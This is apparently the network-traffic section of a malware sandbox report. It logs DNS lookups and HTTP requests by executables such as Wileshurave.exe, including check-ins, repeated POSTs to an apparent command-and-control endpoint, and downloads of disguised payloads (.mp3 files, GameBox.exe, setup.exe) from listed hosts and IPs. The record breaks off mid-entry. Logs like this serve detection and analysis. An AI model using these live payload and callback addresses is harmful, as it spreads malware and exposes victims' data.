                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:58 GMT
                                                                                                                                                                                                                                          Content-Type: application/json
                                                                                                                                                                                                                                          Content-Length: 344
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Accel-Version: 0.01
                                                                                                                                                                                                                                          Last-Modified: Thu, 18 Mar 2021 13:04:50 GMT
                                                                                                                                                                                                                                          ETag: "158-5bdcf3ea0785e"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_non-search_goodchannel_peter_ScreenRE
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_non-search_goodchannel_peter_ScreenRE HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_non-search_goodchannel_installrox2_EbookReader
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_non-search_goodchannel_installrox2_EbookReader HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_non-search_goodchannel_karl_TAnalyzerWW
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_non-search_goodchannel_karl_TAnalyzerWW HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_non-search_goodchannel_peter_install95
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_non-search_goodchannel_peter_install95 HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_lylal_AskhelpfinderWW
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_registry_goodchannel_lylal_AskhelpfinderWW HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://connectini.net/ip/check.php?duplicate=kenpachi2_registry_goodchannel_lyloutta_PCCleanerPRO
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.210.44:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip/check.php?duplicate=kenpachi2_registry_goodchannel_lyloutta_PCCleanerPRO HTTP/1.1
                                                                                                                                                                                                                                          Host: connectini.net
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.1.33
                                                                                                                                                                                                                                          X-Powered-By: PleskLin
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplis.ru/1S2Qs7.mp3
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1S2Qs7.mp3 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: iplis.ru
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:54 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=61v175k9n5e33ego2b26pe8c01; path=/; HttpOnly
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506577; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplis.ru/1G8Fx7.mp3
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1G8Fx7.mp3 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: iplis.ru
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:54 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=js06pnmkkerltg1ge5ppra57n7; path=/; HttpOnly
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506577; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 224
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 26
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:58 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 21
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:00 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 15
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:02 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 13
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:05 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 5
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:11 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 3
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:12 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:14 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.219.64.7
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          1340993.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:58 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6r5TqZkg1%2FUh4MR1fEsIiB6kCwNr%2FIK41PBORAH%2B7uDEz3vlddLbmSoWDvo2SiP9EfYTlbOM7n5lWGR4%2FYm3K5QFG9TQNBArBgClvoofKjJwYAXGZk6H3JgaXg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a8b1e9d5947-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.219.64.7:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /Download/GameBox.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: 7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          x-amz-id-2: GDrcsvh1oYStTl55/HvPgXLtSRprd6HXZ8hDHtSaagf2TaZjQhchkKq0Rn9ugxpADP/RHxInWf8=
                                                                                                                                                                                                                                          x-amz-request-id: VDJ7FVMBJQARTHAN
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 16:38:23 GMT
                                                                                                                                                                                                                                          ETag: "d09797d28f762a14c5bbbc5f4f464019-2"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          Content-Length: 7367279
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.219.64.7:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /Download/GameBox.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: 7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          x-amz-id-2: lSQbpQTyTHOsAz0Qmm5BOPl/HgoM5wHOJEqD3aezEW2Pr8VSPZX76dZUIZVax2KI5LUeAJhQ9cU=
                                                                                                                                                                                                                                          x-amz-request-id: VDJ25B7H0FVVC7PG
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 16:38:23 GMT
                                                                                                                                                                                                                                          ETag: "d09797d28f762a14c5bbbc5f4f464019-2"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          Content-Length: 7367279
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://194.145.227.159/pub.php?pub=five
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          194.145.227.159:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /pub.php?pub=five HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: 194.145.227.159
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.20.1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:58 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                          Content-Description: File Transfer
                                                                                                                                                                                                                                          Content-Disposition: attachment; filename=setup.exe
                                                                                                                                                                                                                                          Content-Transfer-Encoding: binary
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://194.145.227.159/pub.php?pub=five
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          194.145.227.159:80
                                                                                                                                                                                                                                          Request
